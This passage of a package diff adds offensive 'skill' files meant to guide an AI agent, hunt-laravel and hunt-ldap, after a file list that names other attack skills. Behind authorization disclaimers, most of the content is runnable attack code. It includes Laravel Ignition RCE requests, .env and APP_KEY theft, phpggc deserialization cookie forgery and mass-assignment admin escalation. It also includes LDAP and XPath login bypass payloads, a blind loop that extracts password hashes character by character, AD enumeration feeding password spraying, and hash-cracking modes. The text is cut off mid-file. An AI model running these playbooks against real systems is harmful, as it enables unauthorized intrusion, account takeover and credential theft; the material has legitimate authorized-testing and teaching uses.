  452. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  453. package/bundled-skills/service-mesh/SKILL.md +422 -0
  454. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  455. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  456. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  457. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  458. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  459. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  460. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  461. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  462. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  463. package/bundled-skills/systemd-services/SKILL.md +379 -0
  464. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  465. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  466. package/bundled-skills/terraform-azure/references/details.md +231 -0
  467. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  468. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  469. package/bundled-skills/user-management/SKILL.md +383 -0
  470. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  471. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  472. package/bundled-skills/vendor-management/SKILL.md +439 -0
  473. package/bundled-skills/vendor-management/references/details.md +109 -0
  474. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  475. package/bundled-skills/vllm-server/SKILL.md +236 -0
  476. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  477. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  478. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  479. package/bundled-skills/waf-setup/SKILL.md +354 -0
  480. package/bundled-skills/waf-setup/references/details.md +211 -0
  481. package/bundled-skills/web2-recon/SKILL.md +440 -0
  482. package/bundled-skills/web2-recon/references/details.md +319 -0
  483. package/bundled-skills/web3-audit/SKILL.md +445 -0
  484. package/bundled-skills/web3-audit/references/details.md +224 -0
  485. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  486. package/bundled-skills/windows-hardening/references/details.md +204 -0
  487. package/bundled-skills/windows-server/SKILL.md +318 -0
  488. package/bundled-skills/writing-guidelines/SKILL.md +60 -0
  489. package/bundled-skills/zero-trust/SKILL.md +461 -0
  490. package/package.json +1 -1
  491. package/skills_index.json +7874 -277
@@ -0,0 +1,255 @@
1
+ ---
2
+ name: hunt-laravel
3
+ description: Hunt Laravel specific vulnerabilities
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: hackerone_public, cve_database
16
+ report_count: 14
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ # HUNT-LARAVEL — Laravel Specific Vulnerabilities
33
+
34
+ ## Crown Jewel Targets
35
+
36
+ Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
37
+
38
+ **Highest-value findings:**
39
+ - **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
40
+ - **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
41
+ - **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
42
+ - **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
43
+ - **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
44
+
45
+ ---
46
+
47
+ ## Phase 1 — Fingerprint Laravel
48
+
49
+ ```bash
50
+ # Laravel-specific indicators
51
+ curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
52
+ curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
53
+
54
+ # Common Laravel paths
55
+ for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
56
+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
57
+ [ "$STATUS" != "404" ] && echo "$path: $STATUS"
58
+ done
59
+
60
+ # Check error page (trigger 404)
61
+ curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
62
+ ```
63
+
64
+ ---
65
+
66
+ ## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
67
+
68
+ ```bash
69
+ # Step 1: Check if debug mode is enabled (Whoops error page)
70
+ curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
71
+
72
+ # If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
73
+
74
+ # Step 2: Check Ignition endpoint
75
+ curl -s "https://$TARGET/_ignition/health-check" | head -5
76
+
77
+ # Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
78
+ # (Requires debug mode + writable storage/logs)
79
+ # Tool: ambionics/laravel-ignition-rce
80
+ git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
81
+ php /tmp/laravel-rce/exploit.php https://$TARGET "id"
82
+
83
+ # Manual test — send solution request
84
+ curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
85
+ -H "Content-Type: application/json" \
86
+ -d '{
87
+ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
88
+ "parameters": {
89
+ "variableName": "x",
90
+ "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
91
+ }
92
+ }'
93
+ ```
94
+
95
+ ---
96
+
97
+ ## Phase 3 — Laravel Telescope & Horizon
98
+
99
+ ```bash
100
+ # Telescope — request/response logs, DB queries, jobs, cache, events
101
+ curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
102
+ curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
103
+ curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
104
+ curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
105
+ curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
106
+
107
+ # Horizon — queue worker dashboard
108
+ curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
109
+ curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
110
+ curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
111
+ # Failed job payloads often contain full request data including auth tokens
112
+
113
+ # Common paths
114
+ for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
115
+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
116
+ [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
117
+ done
118
+ ```
119
+
120
+ ---
121
+
122
+ ## Phase 4 — .env File & APP_KEY Exposure
123
+
124
+ ```bash
125
+ # Direct .env access
126
+ curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
127
+ curl -s "https://$TARGET/.env.production"
128
+ curl -s "https://$TARGET/.env.backup"
129
+ curl -s "https://$TARGET/.env.local"
130
+
131
+ # If APP_KEY found:
132
+ APP_KEY="base64:XXXXXXX"
133
+ echo "APP_KEY=$APP_KEY"
134
+ # → Can decrypt all Laravel encrypted cookies
135
+ # → Can forge session cookies → ATO for any user
136
+
137
+ # Also check
138
+ curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
139
+ ```
140
+
141
+ ---
142
+
143
+ ## Phase 4b — Environment override via query args (CVE-2024-52301)
144
+ When `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`/`testing` config (debug on, seeded creds, weaker guards).
145
+ ```bash
146
+ curl -s "https://$TARGET/?--env=local" # force debug/local config
147
+ curl -s "https://$TARGET/login?--env=testing" # swap to testing DB/config
148
+ # Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
149
+ ```
150
+
151
+ ## Phase 5 — Signed URL Manipulation
152
+
153
+ ```bash
154
+ # Laravel signed URLs contain signature param: ?signature=HASH
155
+ # Find signed URL endpoints
156
+ cat recon/$TARGET/urls.txt | grep "signature="
157
+
158
+ # Test: modify a non-signature parameter — should fail validation
159
+ SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
160
+
161
+ # Modify user ID → should fail if properly signed
162
+ curl -s "${SIGNED_URL/user=123/user=999}"
163
+
164
+ # Test signature bypass: remove signature entirely
165
+ curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
166
+
167
+ # Test: does the app validate ALL parameters or just some?
168
+ curl -s "${SIGNED_URL}&extra=malicious"
169
+ ```
170
+
171
+ ---
172
+
173
+ ## Phase 6 — Mass Assignment via Eloquent
174
+
175
+ ```bash
176
+ # Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
177
+ # Test: add extra fields to update/create requests
178
+
179
+ # Profile update
180
+ curl -s -X POST "https://$TARGET/api/profile" \
181
+ -H "Cookie: laravel_session=SESSION" \
182
+ -H "Content-Type: application/json" \
183
+ -d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
184
+
185
+ # Registration
186
+ curl -s -X POST "https://$TARGET/api/register" \
187
+ -H "Content-Type: application/json" \
188
+ -d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
189
+ ```
190
+
191
+ ---
192
+
193
+ ## Phase 7 — Laravel Cookie Deserialization
194
+
195
+ ```bash
196
+ # If APP_KEY is known, forge a session cookie with malicious serialized payload
197
+ # Uses phpggc gadget chains
198
+
199
+ # Get the app key
200
+ APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
201
+
202
+ # Generate payload with phpggc
203
+ php phpggc Laravel/RCE5 system 'id' | base64
204
+
205
+ # Sign the cookie with the app key using laravel-cookie-forge script
206
+ # python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
207
+ ```
208
+
209
+ ---
210
+
211
+ ## Chain Table
212
+
213
+ | Laravel finding | Chain to | Impact |
214
+ |----------------|----------|--------|
215
+ | Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |
216
+ | Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |
217
+ | Horizon accessible | Read failed job payloads | High - PII/token exfil |
218
+ | .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |
219
+ | Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |
220
+ | Mass assignment | Set is_admin=true → privilege escalation | Critical |
221
+
222
+ ---
223
+
224
+ ## Validation
225
+
226
+ ✅ Ignition RCE: `id` command output returned in response
227
+ ✅ Telescope: API responses contain DB queries with credentials or user tokens
228
+ ✅ APP_KEY: Forged session cookie accepted, returns another user's profile
229
+ ✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges
230
+
231
+ **Severity:**
232
+ - Ignition RCE: Critical
233
+ - Telescope/Horizon with sensitive data: High
234
+ - .env with APP_KEY: Critical
235
+ - Mass assignment to admin: Critical
236
+
237
+ ## When to Use
238
+
239
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
240
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
241
+
242
+ ## Limitations
243
+
244
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
245
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
246
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
247
+
248
+ ### Example
249
+
250
+ ```bash
251
+ # Read-only first step; confirm scope before anything active.
252
+ cat scope.txt # target list from the authorized engagement brief
253
+ ```
254
+
255
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
@@ -0,0 +1,351 @@
1
+ ---
2
+ name: hunt-ldap
3
+ description: Hunt LDAP Injection and XPath Injection
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: hackerone_public, owasp, portswigger
16
+ report_count: 0
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ # HUNT-LDAP — LDAP Injection & XPath Injection
33
+
34
+ > Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
35
+ > public platforms (most live on internal-pentest reports). This skill is
36
+ > grounded in the **OWASP LDAP Injection Prevention / Testing Guide
37
+ > (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and
38
+ > the **RFC 4515** filter grammar — all publicly verifiable references rather
39
+ > than invented HackerOne IDs. Do not cite a report you cannot link.
40
+
41
+ ## Crown Jewel Targets
42
+
43
+ LDAP injection that bypasses authentication = **Critical**. Blind attribute
44
+ exfiltration of credentials/secrets = **High**. AD enumeration alone = Medium-High.
45
+
46
+ **Highest-value chains:**
47
+ - **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the
48
+ bind/search returns the admin entry without a valid password.
49
+ - **Blind attribute exfil** — char-by-char extraction of an attribute value via a
50
+ boolean oracle (login success/failure, result count, or response length).
51
+ - **userPassword hash exfil (non-AD only)** — on OpenLDAP/389-DS the
52
+ `userPassword` attribute can hold `{SSHA}`/`{CRYPT}` hashes that ARE readable
53
+ by query. See the AD-vs-generic warning below.
54
+ - **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.
55
+
56
+ ---
57
+
58
+ ## CRITICAL — Active Directory vs generic LDAP
59
+
60
+ Do **not** conflate the two. They behave very differently:
61
+
62
+ | | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
63
+ |---|---|---|
64
+ | Password attribute | `userPassword` — may hold `{SSHA}`/`{MD5}`/`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |
65
+ | Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |
66
+ | Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |
67
+
68
+ **Do not tell a reader that blind LDAP injection yields AD password hashes — it
69
+ does not.** `unicodePwd` is write-only. Against AD, the win is enumeration
70
+ (`sAMAccountName`, `memberOf`, `description`/`info` fields that admins misuse to
71
+ store passwords) and auth bypass — not hash dumping. The hash-exfil technique
72
+ applies **only** to non-AD directories exposing `userPassword`.
73
+
74
+ ---
75
+
76
+ ## Attack Surface Signals
77
+
78
+ ```
79
+ Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
80
+ Windows + IIS + "integrated" directory auth
81
+ /api/ldap/* /api/directory/* /people /address-book /search?dir=
82
+ "Find a colleague" / org-chart / employee-search features
83
+ XML-backed config or auth → XPath injection candidate
84
+ Error strings that confirm an LDAP backend:
85
+ javax.naming.NameNotFoundException
86
+ javax.naming.directory.InvalidSearchFilterException
87
+ LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
88
+ com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
89
+ "Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
90
+ ```
91
+
92
+ ---
93
+
94
+ ## LDAP filter grammar (RFC 4515) — why injection works
95
+
96
+ A login filter is typically built by string-concat:
97
+
98
+ ```
99
+ (&(uid=<USERNAME>)(userPassword=<PASSWORD>))
100
+ ```
101
+
102
+ `&` = AND, `|` = OR, `!` = NOT. **Filters are prefix/Polish notation** — the
103
+ operator comes first and every sub-filter is parenthesised. To inject you must
104
+ (a) escape the current `(uid=...)` group, (b) inject your own logic, and
105
+ (c) leave the overall parenthesis count **balanced** or the server throws a
106
+ filter-syntax error instead of executing.
107
+
108
+ ### The special-character set — TEST EACH ONE
109
+
110
+ These characters are syntactically meaningful and MUST be escaped by a safe app
111
+ (RFC 4515 §3). If the app reflects an error or behaves differently when you send
112
+ them raw, the input is unescaped → injectable:
113
+
114
+ | Char | Filter escape | Why it matters |
115
+ |------|---------------|----------------|
116
+ | `*` | `\2a` | wildcard — matches any value |
117
+ | `(` | `\28` | opens a filter group |
118
+ | `)` | `\29` | closes a filter group |
119
+ | `\` | `\5c` | escape char itself |
120
+ | NUL | `\00` | string terminator — truncates filter in C-backed servers |
121
+ | `/` | (DN context) | RDN separator — relevant for DN injection |
122
+
123
+ **Search-filter context vs DN injection** are different bugs:
124
+ - **Search-filter injection** (most common): your input lands inside a
125
+ `(attr=VALUE)` filter. Payloads use `* ( ) & | !`.
126
+ - **DN injection**: your input is concatenated into a Distinguished Name
127
+ (`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `"` `\` `<` `>` `;` and `/`
128
+ matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.
129
+
130
+ ---
131
+
132
+ ## Step-by-Step Hunting Methodology
133
+
134
+ ### Phase 1 — Confirm an LDAP backend (baseline first)
135
+
136
+ ```bash
137
+ # ALWAYS capture a control response first — you compare everything to this.
138
+ BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
139
+ -X POST https://$TARGET/api/login \
140
+ -H "Content-Type: application/json" \
141
+ -d '{"username":"validlookinguser","password":"wrongpass"}')
142
+ echo "BASELINE (valid-format, wrong pw): $BASE"
143
+
144
+ # Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
145
+ # An INJECTABLE app → 500 / filter-syntax error / different size.
146
+ curl -s -X POST https://$TARGET/api/login \
147
+ -H "Content-Type: application/json" \
148
+ -d '{"username":"test)","password":"x"}' | grep -iE \
149
+ "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
150
+ ```
151
+
152
+ A lone `)` that produces a syntax error/500 while a balanced payload does not is
153
+ the cleanest LDAP-injection tell — note it, you will need it as proof.
154
+
155
+ ### Phase 2 — Auth-bypass payloads (balance your parentheses)
156
+
157
+ ```bash
158
+ # Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
159
+ # Goal: make the uid sub-filter always-true and neutralise the password clause.
160
+
161
+ # Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
162
+ # username = *)(uid=*))(|(uid=* password = anything
163
+ # Always-true admin (OR uid=*):
164
+ # username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
165
+ # NUL-truncate the password clause (C-backed servers):
166
+ # username = admin)(uid=*))%00 password = x
167
+
168
+ USERNAME_PAYLOADS=(
169
+ 'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
170
+ '*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
171
+ 'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
172
+ 'admin*' # simple wildcard suffix — try first, lowest noise
173
+ )
174
+
175
+ for P in "${USERNAME_PAYLOADS[@]}"; do
176
+ R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
177
+ -H "Content-Type: application/json" \
178
+ -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
179
+ echo "PAYLOAD: $P"
180
+ echo "RESP: ${R: -40}"
181
+ echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
182
+ echo "---"
183
+ done
184
+ ```
185
+
186
+ **Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*
187
+ full filter, not just your payload. If the app appends `)(userPassword=...))`
188
+ after your input, leave the right number of trailing `)` so the final string is
189
+ balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
190
+
191
+ ### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
192
+
193
+ Raw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
194
+ length-jitter on the injected char itself). Use a **paired true/false control**
195
+ so the oracle is the *response*, not the absolute size.
196
+
197
+ ```bash
198
+ # Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
199
+ # TRUE : admin)(uid=*))(|(uid=* -> entry exists
200
+ # FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
201
+ probe () { # $1 = filter-tail payload -> prints normalized size
202
+ curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
203
+ -H "Content-Type: application/json" \
204
+ -d "{\"username\":\"$1\",\"password\":\"x\"}"
205
+ }
206
+ T=$(probe 'admin)(uid=*))(|(uid=*')
207
+ F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
208
+ echo "TRUE-class size=$T FALSE-class size=$F"
209
+ [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
210
+
211
+ # Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
212
+ # Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
213
+ PREFIX=""
214
+ for pos in $(seq 1 32); do
215
+ for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
216
+ S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
217
+ if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
218
+ done
219
+ done
220
+ echo "RECOVERED: $PREFIX"
221
+ ```
222
+
223
+ False-positive guards for blind exfil:
224
+ - **Repeat each positive char 3x** and confirm the size is stable — length-jitter
225
+ from the attacker-controlled char itself is the #1 false positive.
226
+ - Confirm the **FALSE control still returns the FALSE size** after each round (the
227
+ app didn't just start erroring on every request — WAF block looks like a match).
228
+ - If body length is unreliable, switch the oracle to **HTTP status**, a **body
229
+ marker string** (`"Invalid credentials"` present/absent), or **timing** with a
230
+ heavy filter — but only after establishing a stable baseline delta.
231
+
232
+ ### Phase 4 — XPath injection (XML-backed auth)
233
+
234
+ ```bash
235
+ # Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
236
+ # Bypass closes the name predicate and OR-trues the whole expression.
237
+ XPATH_PAYLOADS=(
238
+ "' or '1'='1"
239
+ "' or ''='"
240
+ "admin' or '1'='1' or 'a'='b" # keeps quoting balanced
241
+ "x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
242
+ "*[contains(name(),'pass')]" # node-name discovery
243
+ )
244
+ for P in "${XPATH_PAYLOADS[@]}"; do
245
+ E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
246
+ R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
247
+ --data-urlencode "username=$P" --data-urlencode "password=x")
248
+ echo "$P -> ${R: -24}"
249
+ done
250
+ # XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
251
+ ```
252
+
253
+ ### Phase 5 — AD enumeration via wildcard (count oracle, with control)
254
+
255
+ ```bash
256
+ # Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
257
+ # A directory that returns the SAME count for both is NOT leaking via wildcard.
258
+ count () { curl -s -X POST https://$TARGET/api/directory/search \
259
+ -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
260
+ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
261
+ CTRL=$(count "zzqx_unlikely")
262
+ echo "control count (should be ~0): $CTRL"
263
+ for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
264
+ # Then pivot to memberOf / description for privileged accounts:
265
+ # (&(sAMAccountName=*)(memberOf=*Domain Admins*))
266
+ # (description=*pw*) (description=*pass*) — admins stash secrets here
267
+ ```
268
+
269
+ ### Phase 6 — Tooling & OOB confirmation
270
+
271
+ ```bash
272
+ # Validate the inferred filter directly if you ever get LDAP creds / a bind:
273
+ ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
274
+ -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
275
+
276
+ # Burp: Intruder over the char set for blind exfil; the Web Security Academy
277
+ # "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
278
+ # OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
279
+ # inject a referral/URL the server dereferences, point it at Collaborator:
280
+ # (uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
281
+ # is server-side proof with zero ambiguity. Treat any Collaborator interaction
282
+ # as the gold-standard confirmation for otherwise-blind cases.
283
+ ```
284
+
285
+ ---
286
+
287
+ ## Chain Table
288
+
289
+ | LDAP finding | Chain to | Impact |
290
+ |--------------|----------|--------|
291
+ | Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
292
+ | AD enumeration (`sAMAccountName`) | Username list → password spray / credential stuffing | Mass-ATO risk |
293
+ | `memberOf` enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
294
+ | `description`/`info` field read | Plaintext creds admins stashed there | Direct credential leak |
295
+ | Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` prefix (`$1$`=500, `$6$`=1800) → offline crack | High |
296
+ | LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
297
+
298
+ > AD has no readable password attribute — do not list "extract AD hashes" as a
299
+ > chain. Against AD, the credential win comes from `description`/`info` misuse or
300
+ > from enumerated usernames feeding a spray, never from `unicodePwd`.
301
+
302
+ ---
303
+
304
+ ## Validation — rule out the false positive BEFORE you report
305
+
306
+ A "bypass" or "match" is only real once you have eliminated syntax-error,
307
+ WAF-block, and length-jitter explanations.
308
+
309
+ - [ ] **Auth bypass:** the always-true payload returns a **valid authenticated
310
+ session** (session cookie + access to a post-login resource), and the same
311
+ request with one paren removed returns a **filter-syntax error** — proving
312
+ the filter parsed and executed, not that the app fell open on every input.
313
+ - [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload
314
+ (`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both
315
+ true-class and false-class "succeed", you found a broken endpoint, not LDAP
316
+ injection.
317
+ - [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the
318
+ FALSE control still reads FALSE between rounds; recovered value verified by
319
+ a direct lookup or by the auth-bypass payload that uses it.
320
+ - [ ] **XPath:** quotes/brackets remained balanced (no 500), and the bypass logged
321
+ in to a real account context — not just a different error page.
322
+ - [ ] **OOB where possible:** a Collaborator DNS/LDAP interaction from a referral
323
+ payload is decisive for blind cases — prefer it over length-only inference.
324
+ - [ ] **AD claim discipline:** if you say "AD", you enumerated AD-specific attrs
325
+ (`sAMAccountName`/`memberOf`); never claim AD hash exfil.
326
+
327
+ **Severity:**
328
+ - Auth bypass landing as admin/privileged directory entry: **Critical**
329
+ - `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**
330
+ - AD user/group enumeration only: **Medium-High**
331
+ - Blind boolean oracle confirmed but no useful attribute reachable: **Medium**
332
+
333
+ ## When to Use
334
+
335
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
336
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
337
+
338
+ ## Limitations
339
+
340
